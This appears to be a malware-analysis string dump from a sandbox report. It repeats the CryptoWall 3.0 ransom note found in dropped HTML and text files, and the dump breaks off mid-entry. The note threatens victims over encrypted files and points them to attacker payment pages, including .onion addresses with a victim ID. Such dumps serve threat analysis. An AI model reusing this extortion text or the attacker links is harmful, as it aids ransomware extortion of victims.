Source: restore_files_gpmus.html138.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html258.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html294.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt211.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html397.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt236.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html33.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html303.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt241.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html255.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt166.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html39.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html131.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt228.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt50.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt361.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html47.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt248.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt38.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html355.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html270.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a 